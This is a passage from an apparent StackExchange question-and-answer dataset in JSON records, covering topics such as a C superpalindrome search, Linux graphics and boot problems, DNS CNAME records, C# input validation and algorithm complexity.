extend_superpalindrome_backtracking_algorithm(n,STARTING_PRIME_ID,0);  // output results  gmp_printf(\\nfound all superpalindromes with prime factors in {2,3,...,%Zd}\\n,list_of_small_primes[MAX_NR_PRIMES-1]);  mpz_t total_nr_superpalindromes;  mpz_init_set_ui(total_nr_superpalindromes,0);  for(int i=0;i<=max_depth_reached;i++) {    mpz_add(total_nr_superpalindromes,total_nr_superpalindromes,nr_superpalindromes_found[i]);    gmp_printf(nr superpalindromes with %d prime factors: %Zd\\n,i+1,nr_superpalindromes_found[i]);  }  gmp_printf(total nr superpalindromes: %Zd\\n,total_nr_superpalindromes);  mpz_clear(total_nr_superpalindromes);  for(int i=0;i<MAX_SEARCH_DEPTH;i++) mpz_clear(n_new[i]);  for(int i=0;i<MAX_NR_PRIMES;i++) mpz_clear(list_of_small_primes[i]);  mpz_clear(n);  mpz_clear(p);  return 0;}Here's the output:superpalindrome found: 4 at depth 2: 2 2 superpalindrome found: 8 at depth 3: 2 2 2 superpalindrome found: 88 at depth 4: 2 2 2 11 superpalindrome found: 2552 at depth 5: 2 2 2 11 29 superpalindrome found: 257752 at depth 6: 2 2 2 11 29 101 superpalindrome found: 67788776 at depth 7: 2 2 2 11 29 101 263 superpalindrome found: 616267762616 at depth 8: 2 2 2 11 29 101 263 9091 superpalindrome found: 6101667117661016 at depth 9: 2 2 2 11 29 101 263 9091 9901 superpalindrome found: 20302629368699686392620302 at depth 10: 2 11 11 11 101 9091 9091 9091 9901 10151 superpalindrome found: 1001004004006006004004001001 at depth 11: 7 11 13 101 101 101 101 9901 9901 9901 9901 found all superpalindromes with prime factors in {2,3,...,224737}nr superpalindromes with 1 prime factors: 113nr superpalindromes with 2 prime factors: 428nr superpalindromes with 3 prime factors: 1022nr superpalindromes with 4 prime factors: 1539nr superpalindromes with 5 prime factors: 1603nr superpalindromes with 6 prime factors: 1137nr superpalindromes with 7 prime factors: 565nr superpalindromes with 8 prime factors: 217nr superpalindromes with 9 prime factors: 50nr superpalindromes with 10 prime factors: 13nr superpalindromes with 11 prime factors: 1total nr superpalindromes: 6688Currently, I'm mostly concerned about the efficiency of is_palindrome(mpz_t n) since it feels like a two-pass method: (a) copy the number to a string, (b) check if the string is a palindrome.  But please highlight any other areas I might not be concerned about but should be.Most of the numbers encountered by is_palindrome(mpz_t n) will not be palindromes, but my attempt at checking only the first and last digits was thwarted by mpz_sizeinbase not giving the exact number of digits in base 10 (and it added too much overhead to add a check if the number of digits is correct function)."  , "title": "Depth-first search method for searching for all superpalindromes whose prime factors are all <=N"  , "tags": "optimization;c;primes;palindrome;depth first search"  } 
{  "id": "_unix.141192"  , "question": "My system has problems with the displayport connection. This is indicated by several problems that, at the first glance, do not have anything in common. The reason why I claim DP for being the cause, is that when I connect another monitor via DVI these problems just vanish.When I put monitor into sleep it won't wake up. Journal contains:[drm:intel_dp_start_link_train] *ERROR* failed to enable linkand sometimes[drm:i915_hangcheck_elapsed] *ERROR* Hangcheck timer elapsed... GPU hungQt applications need a few seconds to start. And meanwhile freeze X. Today I had a complete never-ending system freeze. As a followup KDE start is painfully slow and accompanied by multiple freezes.I use an up-to-date Arch System on an i5-4590, using the Intel HD4600.Here is dmesg with drm.debug=0xe comandline. I cut about a million [drm:drm_dp_i2c_do_msg] native defer lines to make it cleaner.Intel drivers are installed. The config:# for i in /sys/module/i915/parameters/*; do echo $i=$(cat $i); done/sys/module/i915/parameters/disable_display=N/sys/module/i915/parameters/disable_power_well=1/sys/module/i915/parameters/enable_cmd_parser=0/sys/module/i915/parameters/enable_fbc=-1/sys/module/i915/parameters/enable_hangcheck=Y/sys/module/i915/parameters/enable_ips=1/sys/module/i915/parameters/enable_ppgtt=1/sys/module/i915/parameters/enable_psr=0/sys/module/i915/parameters/enable_rc6=-1/sys/module/i915/parameters/fastboot=N/sys/module/i915/parameters/invert_brightness=0/sys/module/i915/parameters/lvds_channel_mode=0/sys/module/i915/parameters/lvds_downclock=0/sys/module/i915/parameters/lvds_use_ssc=-1/sys/module/i915/parameters/modeset=-1/sys/module/i915/parameters/panel_ignore_lid=1/sys/module/i915/parameters/powersave=1/sys/module/i915/parameters/prefault_disable=N/sys/module/i915/parameters/preliminary_hw_support=0/sys/module/i915/parameters/reset=Y/sys/module/i915/parameters/semaphores=-1/sys/module/i915/parameters/vbt_sdvo_panel_type=-1"  , "title": "DisplayPort and Intel HD cause GPU hangs"  , "tags": "linux kernel;i915;displayport;drm"  } 
{  "id": "_softwareengineering.110371"  , "question": "I have built a number of websites for friends, family, etc. and I have put them all on a single shared web hosting account. Now that they are built, I want to get out of business of supporting them and paying for them (my friends are reimbursing me but I am paying for the actual bill) so I was thinking of having them create their own hosting accounts and slowly migrating the sites over.It got me thinking how does any freelancer do this? Do they force their clients to setup their own hosting up front and let the programmer log into the customer account during development. What if there is a bug in the future and they need to go back in?I was curious to see what model most people use who build websites for others as it seems like a tricky situation."  , "title": "How do freelancer web developers manage web hosting for customers?"  , "tags": "freelancing;web hosting"  } 
{  "id": "_cs.41082"  , "question": "In this problem. I have a set of activities which can happen. Each activity is associated with several values:Duration: The length of time the activity takesEarliest time to start: The earilest time at which the activity can beginLatest time to start: The latest time at which the activity can beginWeight/Value: The value/benefit gained if the activity happens.I have a set of activities $A = \\left\\{ a_{1},a_{2},\\dots,a_{n}\\right\\}  $.I want to find a subset of activities $\\alpha \\subset A$ which maximises the total value, subject to the constraint that two activities cannot overlap in time (so the subset of activities should be such that we can schedule these activities without any overlap, and such that each activity starts within its earliest and latest start times). Activities must be performed contiguously. i.e we can't just break apart an activity in two and do half of it now and half of it later.If activities all had a fixed starting time, this would be equivalent to the Maximum Weight Independent Set of Intervals problem, but in this case an activitiy does not have a fixed starting time and it can move around.If activities could be positioned anywhere, this would be equivalent to a knapsack problem.I will use this with a time span of one day and activities will usually last between 1 and 4 hours. I had one idea which I write below but thought maybe someone would have a better idea. Heuristics and approximations would be helpful as well. I need something that will run in less than a second with ~$1000$ activities.So far what I thought of doing is duplicating activities that can move around. So if I have an activity $a$ which can start between 14:00 and 16:00, then to create three activities: at 14:00, at 15:00 and at 16:00. That way I don't need to worry anymore about activities moving around and I have a Maximum Weight Independent Set of Intervals problem which seems researched at least. Also Maximum Weight Independent Set problems are quite researched.Thank you!"  , "title": "Activity scheduling with activities that can move around"  , "tags": "optimization;combinatorics;scheduling"  } 
{  "id": "_webapps.82441"  , "question": "I got an email from my colleague about our business itinerary containing flight confirmation as a PDF attachment. Turns out Google can detect that it's a flight confirmation.When I search 'itinerary' in Google it shows something like this.My question is, is there a way to add this info to my Google Calendar? (I want the flight schedule to be shown in my Sunrise app in my iPhone)"  , "title": "How to easily add flight itinerary to Google Calendar from flight confirmation email in Gmail?"  , "tags": "gmail;google calendar"  , "accepted_answer": "To add any email event to your Google Calendar...Open the email, Click on More in the menu bar, then Create event.Sometimes Gmail copies all the details you need into the event description.Depending upon how well Gmail reads the PDF file, you may have to copy / paste the details from the PDf to the Calendar event."  } 
{  "id": "_unix.191467"  , "question": "How to Show your main shell that you use.? in UNIXis this command rightps -p$$ or if there is a different way? "  , "title": "How to Show your main shell that you use.? in UNIX"  , "tags": "shell;shell script"  } 
{  "id": "_webmaster.69646"  , "question": "Question #1:One DNS Look-up service I use states: (BTW, moodle.org is not my website!)Your website www.moodle.org does not have CName Record which is good.Why is this good?Introduction to Question #2:The same Look-up service states the following for our Domain Name: Your website has a CName Record.  Your DNS Servers do not return any A Records (IPv4 Addresses), which  causes an extra DNS Lookup, which will slightly delay connections to  your website.Note: You may well be thinking why are my comparing Moodle with our Domain Name? It's because both Moodle and OUR website uses CloudFlare. Granted, this isn't a fair comparison to make. So, I checked Netblock owner of my IP Address in Netcraft's Toolbar, and found a number of websites Hosted on the same Shared Hosting space. Alas, none seem to be using CloudFlare. Nevertheless, I did a DNS Loop-up of one of these, and got the following Response for CNAME:Your website has a CName Record.  Your DNS Servers also return an A  Record (IPv4 Address) for the CName Record, which is good as it does  not require an extra DNS Lookup.Question #2:Given that the DNS Report for our Domain Name states the following, repeated from above: Your website has a CName Record.  Your DNS Servers do not return any A Records (IPv4 Addresses), which  causes an extra DNS Lookup, which will slightly delay connections to  your website.... what change might I need to make to our DNS Record? Please note '1400 TTL'.OUR current DNS Record:mydomain.org.uk.            14400   IN  A   1##.##.###.###  localhost.mydomain.org.uk.  14400   IN  A   127.0.0.1mail.mydomain.org.uk.       14400   IN  CNAME   mydomain.org.ukwww.mydomain.org.uk.        1400    IN  CNAME   www.mydomain.org.uk.cdn.cloudflare.netftp.mydomain.org.uk.        14400   IN  A   1##.##.###.###  cpanel.mydomain.org.uk.     14400   IN  A   1##.##.###.###  webdisk.mydomain.org.uk.    14400   IN  A   1##.##.###.###  whm.mydomain.org.uk.        14400   IN  A   1##.##.###.###webmail.mydomain.org.uk.    14400   IN  A   1##.##.###.###      mydomain.org.uk.            14400   IN  TXT v=spf1 +a +mx +ip4:1##.##.###.### ~all  cloudflare-resolve-to.mydomain.org.uk.  1400    IN  CNAME   mydomain.org.uk"  , "title": "Good, or Bad? 'www A Record (IPv4)' - website has a CName Record."  , "tags": "dns;cname"  , "accepted_answer": "A CNAME is basically an alias to another DNS record. A not uncommon setup is something like this:example.com        A       xxx.xxx.xxx.xxxwww.example.com    CNAME   example.comIf someone hits www.example.com and the DNS result isn't cached, resolution of a setup like this is very slightly slower, since two DNS lookups are required (one for www.example.com, , followed by a lookup for example.com). So that's probably why the tool you're using is referring to a lack of CNAME as 'good'.I'm not familiar with Cloudflare's product offerings, but in your case you may only be able to use a CNAME, so I really wouldn't worry about this. Moodle may have a different Cloudflare setup to you gives them a dedicated IP they can point their records to."  } 
{  "id": "_cstheory.38119"  , "question": "First, I'm mostly experienced with Math, which I hope won't be too inconvenient.I saw Operational Calculus on Programming Spaces by Sajovic and Vuk, which seemed very interesting to me (for a short summary of the paper, the Wikipedia article on Automatic Differentiation may be helpful).  I had a few questions about how they defined their memory space of the program.  The relevant section is below:We will model computer programs as maps on a vector space. If we only focus on the real  valued variables (of type float or double), the state of the virtual memory can be seen as a  high dimensional vector. A set of all the possible states of the programs memory, can be  modeled by a finite dimensional real vector space $\\mathcal{V} \\equiv \\mathbb{R}^n$. We will call $\\mathcal{V}$ the memory space  of the program.   The effect of a computer program on its memory space $\\mathcal{V}$, can be described  by a map  $$P : \\mathcal{V} \\to \\mathcal{V}$$  A programming space is a space of maps $\\mathcal{V} \\to \\mathcal{V}$ that can be implemented as a program in  specific programming language.I understand how $\\mathcal{V}$ should be some finite object - I don't understand why this should specifically be a vector space.One analogy that may be useful for this is the following.  $C(\\mathbb{R})$ denotes the set of all continuous functions $f:\\mathbb{R}\\to\\mathbb{R}$. While continuous functions themselves aren't linear, we can define addition of continuous functions and scalar multiplication of continuous functions in a linear way by defining:$$(f+g)(x) \\stackrel{def}{=} f(x) + g(x)$$$$k\\cdot f(x) \\stackrel{def}{=} (kf(x))$$Something similar to this undoubtedly works for programs on $\\mathcal{V}$ - for a given state $s$, define $p_1 + p_2$ evaluated on $s$ as $p_1(s) + p_2(s)$.  While this (likely) leaves us with a Banach space, I'm unsure if it's the correct interpretation.This would give us that the sum of two programs $p_1,p_2$ applied to some state $s$ is just $p_1(s) + p_2(s)$.So, looking at a single component of $p_1(s) + p_2(s)$, we have that the action of $p_1 + p_2$, as a program, is just the sum of the individual actions of $p_1$ and $p_2$ on the initial state.  This seems like an odd interpretation for me - for whatever reason it'd seem much more natural to have the way to combine programs to be function composition, but this would lead to problems like $+$ not being commutative, and scalar multiplication being harder to define.In this paper, what's the correct interpretation of addition here?  The usual addition seems to lead to the correct mathematical construct, but I'm having a hard time understanding what the program sum is supposed to model in real life.Edit: This Reddit Post seems to have some commentary on it which may help others."  , "title": "Justifying the state of virtual memory as a vector space"  , "tags": "fl.formal languages;ne.neural evol"  } 
{  "id": "_webmaster.77740"  , "question": "What's more important for my website, from a SEO perspective?I first had a page load time from around 900ms and a google rating from about 70.Using some plugins I managed to get the rating up to around 85, (GTMetrix page speed 90%, YSlow 90%) but the page load time also increased to around 2 seconds.I understood that to get higher in googles ranking, you need to have a high rating. So from a SEO perspective, wanting to get high in the search results, should I revert it and go back to the 900ms/70 pagespeed rating or should I keep it like this for the higher pagespeed rating?"  , "title": "Pagespeed rating vs server speed from a SEO perspective"  , "tags": "seo;wordpress;pagerank;page speed"  , "accepted_answer": "Page speed is a bit of a misnomer. People took the early days of Google using page speed as a factor and seemed to forget what happened immediately after its implementation. I will explain.When Google announced that page speed would be a factor, a reordering of the SERP results caused a lot of heart-burn. What happened was that Google was ranking vary fast sites far more than sites that were still fast. The SERPs became far too heavy with very fast sites even when these would boost less desirable sites within results. Almost immediately the complaints were loud and strong.Google re-examined it's metrics and did an mea culpa within weeks. As it turned out, acceptable speed sites were being shutout from the top 10 results. Foul! and Not fair! was the cry from many site owners and they were right. If your site is within a normal response range or greater, there is no boost. However, if your site is below a normal rate, then there is a down-grade. Your site is measured overall, however slower pages can have an effect short of the obvious reason- content size. There is a measure that makes larger pages loading slower more acceptable that smaller pages loading slower.It is all a matter of whether your site is within an acceptable range as determined by the measures of all the sites that Google has indexed.Your site is sure fast enough. Of course you want your site to perform the best it can for user experience (UX). However, as you surf around the net, think to yourself, how fast did this site load? Most are measured in double-digit seconds these days with all the images, JavaScript, references to other sites, and so on. Google does not just measure your page, but all of what the page must download. Ever tried going to the larger e-commerce sites lately? Sshheesh!Making your site as fast as possible and as lean as possible is a good thing and you should do just that. But Mother Superior Google is not slapping your wrist with a ruler if you get a B or even a C in class. If you get an F however, WATCH OUT!"  } 
{  "id": "_codereview.165201"  , "question": "Verifying the user's input is almost always required, even in really simple apps such as console calculator. Due to the wide variety of scenarios where this is useful I decided to make a few classes that will make the process easier.I currently have 2 classes for validation, one for input that will require parsing and one for input that is already parsed to the specified type. They both inherit a common interface:public interface IInputValidator<T> {    ValidationResult<T> Validate();}Where the ValidationResult class is implemented as follows:public class ValidationResult<T>{    public bool Success { get; }    public T Value { get; }    public ValidationResult(bool success, T value)    {        Success = success;        Value = value;    }    public ValidationResult(bool success) : this(success, default(T))    {    }}The InputValidatorUnparsed<TSource, TValue> class which deals with input that needs to be parsed before operated on:public class InputValidatorUnparsed<TSource, TValue> : IInputValidator<TValue>{    public delegate bool InputTryParse(TSource input, out TValue value);    private readonly InputTryParse inputTryParse;    private readonly Func<TSource> _getUnparsedValue;    private Action _onFailedAction;    private IEnumerable<TValue> _allowedItems = Enumerable.Empty<TValue>();    private IEqualityComparer<TValue> _comparer = EqualityComparer<TValue>.Default;    public InputValidatorUnparsed(Func<TSource> getUnparsedValue, InputTryParse tryParse)    {        inputTryParse = tryParse ?? throw new ArgumentNullException(nameof(tryParse));        _getUnparsedValue = getUnparsedValue;    }    public InputValidatorUnparsed<TSource, TValue> WithFailedAction(Action onFailedAction)    {        _onFailedAction = onFailedAction;        return this;    }    public InputValidatorUnparsed<TSource, TValue> WithAllowedItems(IEnumerable<TValue> allowedItems)    {        return WithAllowedItems(allowedItems, _comparer);    }    public InputValidatorUnparsed<TSource, TValue> WithAllowedItems(IEnumerable<TValue> allowedItems,        IEqualityComparer<TValue> comparer)    {        _allowedItems = allowedItems ?? throw new ArgumentNullException(nameof(allowedItems));        _comparer = comparer ?? throw new ArgumentNullException(nameof(comparer));        return this;    }    public ValidationResult<TValue> Validate()    {        var parsingSuccess = inputTryParse.Invoke(_getUnparsedValue.Invoke(), out TValue value);        if (parsingSuccess && IsAllowedItem(value))        {            return new ValidationResult<TValue>(true, value);                   }        _onFailedAction?.Invoke();        return new ValidationResult<TValue>(false, value);    }    private bool IsAllowedItem(TValue item)    {        return !_allowedItems.Any() || _allowedItems.Any(i => _comparer.Equals(i, item));    }}Example usage:var validator = new InputValidatorUnparsed<string, int>(Console.ReadLine, int.TryParse)    .WithFailedAction(() => Console.WriteLine(Invalid input please try again.))    .WithAllowedItems(Enumerable.Range(1, 10));var result = validator.Validate();while (!result.Success){    result = validator.Validate();}Console.WriteLine($Correct input = {result.Value});The InputValidatorParsed<TValue> which deals with input that wont required parsing to be operated on:public class InputValidatorParsed<TValue> : IInputValidator<TValue>{    private readonly Predicate<TValue> validator;    private readonly Func<TValue> getInputValue;    private Action _onFailedAction;    private IEnumerable<TValue> _allowedItems = Enumerable.Empty<TValue>();    private IEqualityComparer<TValue> _comparer = EqualityComparer<TValue>.Default;    public InputValidatorParsed(Func<TValue> getValue, Predicate<TValue> validator)    {        getInputValue = getValue ?? throw new ArgumentNullException(nameof(getValue));        this.validator = validator;    }    public InputValidatorParsed(Func<TValue> getValue) : this(getValue, null)    {    }    public InputValidatorParsed<TValue> WithFailedAction(Action onFailedAction)    {        _onFailedAction = onFailedAction;        return this;    }    public InputValidatorParsed<TValue> WithAllowedItems(IEnumerable<TValue> allowedItems)    {        return WithAllowedItems(allowedItems, _comparer);    }    public InputValidatorParsed<TValue> WithAllowedItems(IEnumerable<TValue> allowedItems,        IEqualityComparer<TValue> comparer)    {        _allowedItems = allowedItems ?? throw new ArgumentNullException(nameof(allowedItems));        _comparer = comparer ?? throw new ArgumentNullException(nameof(comparer));        return this;    }    public ValidationResult<TValue> Validate()    {        var value = getInputValue.Invoke();        if (validator == null)        {            return new ValidationResult<TValue>(IsAllowedItem(value), value);        }        if (validator.Invoke(value) && IsAllowedItem(value))        {            return new ValidationResult<TValue>(true, value);        }        _onFailedAction?.Invoke();        return new ValidationResult<TValue>(false, value);    }    private bool IsAllowedItem(TValue item)    {        return !_allowedItems.Any() || _allowedItems.Any(i => _comparer.Equals(i, item));    }}Example usage:var validator = new InputValidatorParsed<string>(Console.ReadLine, t => !string.IsNullOrEmpty(t))    .WithAllowedItems(new []{value})    .WithFailedAction(() => Console.WriteLine(Invalid input please try again.));var result = validator.Validate();while (!result.Success){    result = validator.Validate();}Console.WriteLine($Correct input = {result.Value});Feel free to comment on anything, but I have few concerns in mind:I'm not happy with the naming of the classes.I do like the initialization of such object but I don't like the usage of it. Those classes will mostly be used in while loops I can imagine and the syntax for that isn't really pretty if you want to obtain the value of the result.There is repetition in the classes that maybe an abstract class can solve in some way but I don't think it's appropriate in this case as it will either look redundant or it will be way too restrictive for the derived classes."  , "title": "Validating proper input"  , "tags": "c#;object oriented;validation;generics;inheritance"  , "accepted_answer": "I don't think there should be two validators as they are nearly identical. The only difference between them is the parsing part. They are validators so they should get a value ready for validation and not try to parse anything. It's the responsibility of a parser to know how to convert/parse one type into another one.The validators also mix the builder pattern with a normal object. Methods like WithAllowedItems should be only used by a builder and not the actual object that should either have properties for that values or be immutable and require all parameters via a constructor. I find that the semi-builder pattern makes it confusing to use because at the end I expect to call ToInputValidator or Build which are not there because I'm constructing the final object with the WithX methods. What makes it even more confusing is that some arguments are already required by the constructor which means that the WithX parameters are optional and could be simply properties which are (at least to me) more natural to initialize with an object initializer then by calling methods as if it was a builder.What I expect is either this APIvar validator =     InputValidator<string>        .Builder        .Condition(Console.ReadLine, t => !string.IsNullOrEmpty(t))        .WithAllowedItems(new []{value})        .WithFailedAction(() => Console.WriteLine(Invalid input please try again.))        .Build(); // Throws InvalidOperationException if Condition not specified.or that onevar validator = new InputValidator<string>(Console.ReadLine, t => !string.IsNullOrEmpty(t)){    AllowedItems = new []{value},    FailedAction = () => Console.WriteLine(Invalid input please try again.)};"  } 
{  "id": "_unix.166410"  , "question": "I was working on my linux machine earlier today and when I was in the middle of updating my java packages through the package manager and installing coffee script, my windows started not working and closed down. I didn't think much of it and kept on working in TexStudio and finishing my hand in for this week, saved it and closed it and closed my browser and thoughtHey, maybe it just needs a reboot! I then rebooted the computer, chose my Linux Mint partition and here is where it gets weird. The only thing I see when I boot is the Linux Mint logo and after that the screen is just completely black and all I can see is a few light grey pixels in the top left of my screen. I looks like a terminal cursor, but it's not flashing and nothing happens when I press my keyboard.The good news here is that I can boot the Linux partition in recovery mode, but I don't really know what to do from there. Is there a way to revert some of the latest changes back to how it was set up yesterday? Or am I completely lost here? I would love to have it up and running again, because it's my favorite development environment but I do not know much about the kernel and how it works.If you need more info, please tell me how to get it and I will post it here. The lspci output is seen aboveAlso I noticed the the message ideapad_laptop: Unknown Event: 1 appears on the screen about every 10 seconds. I cannot press Ctrl + Alt + F1 to enter tty from non-recovery mode"  , "title": "Linux Mint (LMDE) suddenly crashed and won't boot again"  , "tags": "boot;crash;system recovery"  , "accepted_answer": "I noticed that what happened was I install the boot sequence (or whatever it is called) on sdb1 or something similar and not on sda where the boot flag was set. So what I did was I booted linux from a live USB and re installed my linux mint, and put the boot sequence to be installed on sda and set the boot flag there through gdisk.After that I installed grub from the terminal and ran sudo update-grub and tadaa, my problems were fixed and the GRUB-loader now found the linux boot loader and the windows 7 boot loader :)"  } 
{  "id": "_webapps.35906"  , "question": "Is there any way to find when a specific word or phrase was added to a Wikipedia page? I want to find a way to obtain the first page that contains a match of a specific phrase (for example, the first occurrence of <ref>webapps.stackexchange.com</ref> in a page's revision history). (Manually searching through a page's revision history would be extremely tedious, so I'll need some kind of automated solution.)"  , "title": "Find when a phrase was added to a Wikipedia page"  , "tags": "mediawiki;wikipedia"  , "accepted_answer": "There is a tool called WikiBlame that lets you do exactly that: you enter a page name and a phrase to search for and will point you to the edit that added it.It's also linked from the History page of every page on the English Wikipedia (as Revision history search)."  } 
{  "id": "_unix.94430"  , "question": "Please see the output of below ps command:abc@smaug:~/Desktop$ ps ax | grep firefox 2213 ?        Sl     2:01 /usr/lib/firefox/firefox 2644 pts/0    S+     0:00 grep --color=auto firefoxPlease explain both rows and what process id can be used to kill firefox process?Process id 2644 keeps on changing everytime I run that command."  , "title": "process id and killing process - ps commmand"  , "tags": "process;kill;ps"  , "accepted_answer": "when trying to find the PID of firefox, you launch a new process the filters the all the unwanted processes. this filter process (grep firefox) also contains the search-term firefox and thus finds itself.whenever you restart ps ax | grep firefox you launch a new grep-process, hence it's PID keeps changing.So, the short answer is:use PID 2213 to kill firefoxIf you want to get rid of the false positive, you can use another grep to filter it out: $ ps ax | grep firefox | grep -v grepyet another option is to use pgrep (which will only give you the PID of the found processes) $ pgrep firefox 2213"  } 
{  "id": "_unix.47359"  , "question": "What is the purpose of the .xsession file in the home folder? What should be put in there? The desktop environments don't use that file and for the X startup from the tty there is .xinitrc."  , "title": "What is .xsession for?"  , "tags": "xorg;x11;login"  , "accepted_answer": "If you log in in text mode then start a GUI session with xinit or with the wrapper script startx, then xinit does the following things:Start an X server (typically through the script /etc/X11/xinit/xserverrc).Usually run some scripts in /etc/X11 (typically /etc/X11/xinit/xinitrc), depending on how it's set up.Run ~/.xinitrc, if it exists. If it doesn't exist, run a default client (traditionally xterm).Once ~/.xinitrc terminates, kill the X server.If you log in in graphical mode on an X display manager (xdm, gdm, kdm, wdm, lightdm, ),  traditionally, what is executed after you log in is some scripts in /etc/X11 then ~/.xsession.~/.xsession has the role of ~/.profile and ~/.xinitrc combined: it's supposed to perform the initial startup of your session (e.g. define environment variables), then launch programs specific to the GUI (usually at least window manager).Nowadays, most X display managers give you a choice of a session. Choosing a particular session launched a specific desktop environment, session manager, window manager. What is executed then is only that DE/SM/WM and whatever programs it chooses to start based on whatever configuration files it chooses to read. Many environments provide a custom session that reads the traditional ~/.xsession."  } 
{  "id": "_datascience.2581"  , "question": "I am trying to match new product description with the existing ones. Product description looks like this: Panasonic DMC-FX07EB digital camera silver. These are steps to be performed:Tokenize description and recognize attributes: Panasonic => Brand, DMC-FX07EB => Model, etc.Get few candidates with similar featuresGet the best candidate.I am having problem with the first step (1). In order to get 'Panasonic => Brand', DMC-FX07EB => Model, silver => color, I need to have index where each token of the product description correspond to certain attribute name (Brand, model, color, etc.) in the existing database. The problem is that in my database product descriptions are presented as one atomic attribute e.g. 'description' (no separated product attributes).Basically I don't have training data, so I am trying to build index of all product attributes so I can build training data. So far I have attributes from bestbuy.com and semantics3.com APIs, but both sources lack most of attributes or contain irrelevant ones. Any suggestions for better APIs to get product attributes? Better approach to do this? P.S. For every product there is a matched product description in the Database, which is as well in a form of one atomic attribute. I have checked this question on SO, it helped me and it seems we have same approach but I am still trying to get training data. "  , "title": "Attributes extraction from unstructured product descriptions"  , "tags": "machine learning;nlp;feature extraction"  } 
{  "id": "_unix.226877"  , "question": "I am not sure what I was thinking when I accidently deleted my /etc/dpkg/ folder. While I was fixing that, I tried many things and that made things worst. Now I am in a situation where I can not install or remove anything on my server. When I try to run something, it ends up on following message:E: Could not perform immediate configuration on 'multiarch-support'. Please see man 5 apt.conf under APT::Immediate-Configure for details. (2)I have tried everything I could :( Can someone please guide me here? Server is debian 6.0I can not install a fresh copy because I am using ispconfig to manage many domains and there is no way to backup that so I can install a fresh copy and restore stuff without doing a lot of work again.Server Response:Linux ispconfig.baskemus.com 2.6.32-5-amd64 #1 SMP Mon Feb 25 00:26:11 UTC 2013 x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.ispconfig# apt-get dist-upgradeReading package lists... DoneBuilding dependency treeReading state information... DoneCalculating upgrade... DoneThe following NEW packages will be installed:adduser apt apt-utils base-files base-passwd bash bash-completion bsdmainutils bsdutils ca-certificates coreutils dash dbus debconf debconf-i18n debian-archive-keyring debianutils diffutils dmsetup dpkg e2fslibs e2fsprogs findutils gawk  gcc-5-base gnupg gnupg-curl gpgv grep gzip hostname init init-system-helpers initscripts insserv krb5-locales libacl1 libapparmor1 libapt-inst1.7 libapt-pkg4.16 libattr1 libaudit-common libaudit1 libblkid1 libbz2-1.0 libc-bin libc6  libcap-ng0 libcap2 libcap2-bin libcomerr2 libcryptsetup4 libcurl3-gnutls libdb5.3 libdbus-1-3 libdebconfclient0 libdevmapper1.02.1 libexpat1 libfdisk1 libffi6 libgcc1 libgcrypt20 libgmp10 libgnutls-deb0-28 libgpg-error0 libgpm2  libgssapi-krb5-2 libhogweed4 libidn11 libk5crypto3 libkeyutils1 libkmod2 libkrb5-3 libkrb5support0 libldap-2.4-2 liblocale-gettext-perl liblzma5 libmount1 libmpfr4 libncurses5 libncursesw5 libnettle6 libp11-kit0 libpam-cap  libpam-modules libpam-modules-bin libpam-runtime libpam-systemd libpam0g libpcre3 libprocps4 libreadline6 librtmp1 libsasl2-2 libsasl2-modules libsasl2-modules-db libseccomp2 libselinux1 libsemanage-common libsemanage1 libsepol1  libsigsegv2 libsmartcols1 libss2 libssh2-1 libssl1.0.0 libstdc++6 libsystemd0 libtasn1-6 libtext-charwidth-perl libtext-iconv-perl libtext-wrapi18n-perl libtinfo5 libudev1 libusb-0.1-4 libustr-1.0-1 libuuid1 login lsb-base mount  multiarch-support ncurses-base ncurses-bin openssl passwd perl-base procps psmisc readline-common sed sensible-utils startpar systemd systemd-sysv sysv-rc sysvinit sysvinit-utils tar tzdata udev util-linux uuid-runtime zlib1g0 upgraded, 143 newly installed, 0 to remove and 0 not upgraded.Need to get 0 B/47,5 MB of archives.After this operation, 149 MB of additional disk space will be used.Do you want to continue [Y/n]? yE: Could not perform immediate configuration on 'multiarch-support'. Please see man 5 apt.conf under APT::Immediate-Configure for details. (2)ispconfig#"  , "title": "Could not perform immediate configuration on 'multiarch-support'"  , "tags": "dpkg;dependencies"  } 
{  "id": "_cs.33681"  , "question": "In the same lecture notes without providing many details it says that the complexity of the algorithm which uses a balanced search tree is $O(n\\log n+R)$ where $R$ is the total amount of intersections.However I don't understand why this is the case.Suppose that the sweep line is travelling from top to bottom. Whenever we encounter a vertical line segment, we pick its $x$ coordinate and add it to a search tree. Assuming that we are using a balanced search tree like AVL, this operation will take $O(\\log n)$ time. Now when we reach an end point of a vertical line segment, we remove its $x$ coordinate from the search tree, which is going to take $O(\\log n)$ time as well.Whenever we encounter a horizontal line segment defined by points $A$ and $B$, we have to do a range search on our search tree and use the range defined by these two points, that is $(A.x, B.x)$ Now how is this range search going to happen? We use $A.x$ and travel to the left most point in the search tree, and do the same for $B.x$, we can do this in $O(2\\log n)$.All the points in our tree between these two end points are going to be the intersecting the horizontal segment, which is going to be let's say $R$ in total, so $O(2\\log n+R)$ in total.We do this $n$ times (the amount of horizontal segments) so we get a complexity of $O(2n\\log n+nR)$."  , "title": "Why is the orthogonal line segment intersection algorithm $O(n\\log n+R)$ instead of $O(n\\log n + Rn)$?"  , "tags": "algorithms;algorithm analysis;computational geometry;search trees"  , "accepted_answer": "It's a bit hard to get through your text since a lot of information is missing. However I assume that you have the following misunderstanding. Let me ignore the constants in the big-O for this argument since this is irrelevant. For every horizontal segment $h$ you perform an action that takes $O\\log n + R_h$ time, where $R_h$ are the intersections you output. Then the overall running time is$$\\sum_h \\log n + R_h =  n\\log n +R.$$Simply speaking, you only output every crossing once. So the overall time for the output is $O(R)$."  } 
{  "id": "_softwareengineering.149911"  , "question": "Is it recommended to use a WCF Service Library in developing an N-Tier Windows Application? Also is it better to use the VS wizards to create the DataTables and DataSets? And if so should I add all of my tables to 1 dataset or have a dataset for each table? This is all new to me and I want to learn it the right way."  , "title": "WCF Service in an N-tier Application"  , "tags": "c#;database;n tier"  , "accepted_answer": "Is it recommended to use a WCF Service Library in developing an N-Tier Windows Application? WCF is a good way to access databases through fire walls. However if your application is an application used by users in the same office where there is a common LAN, I don't think the complexity would be justified. This is especially true if the database is owned and controlled only by this one application.Also is it better to use the VS wizards to create the DataTables and DataSets?In many cases, you need to taylor the data passed between the tiers or layers. I would suggest that you look into Entity Framework or another ORM to take care of this for you. Also suggestion by @Ourjamie is good.should I add all of my tables to 1 dataset or have a dataset for each table?  As a rule you need to optimize the data moved between tears/layer. Some times you don't need the features of a dataset (like tracking changes), so you don't use what you don't need. Your choice of a data structure will also be affected by the bind mechanism on the client and how you plan to notify the data layer of data 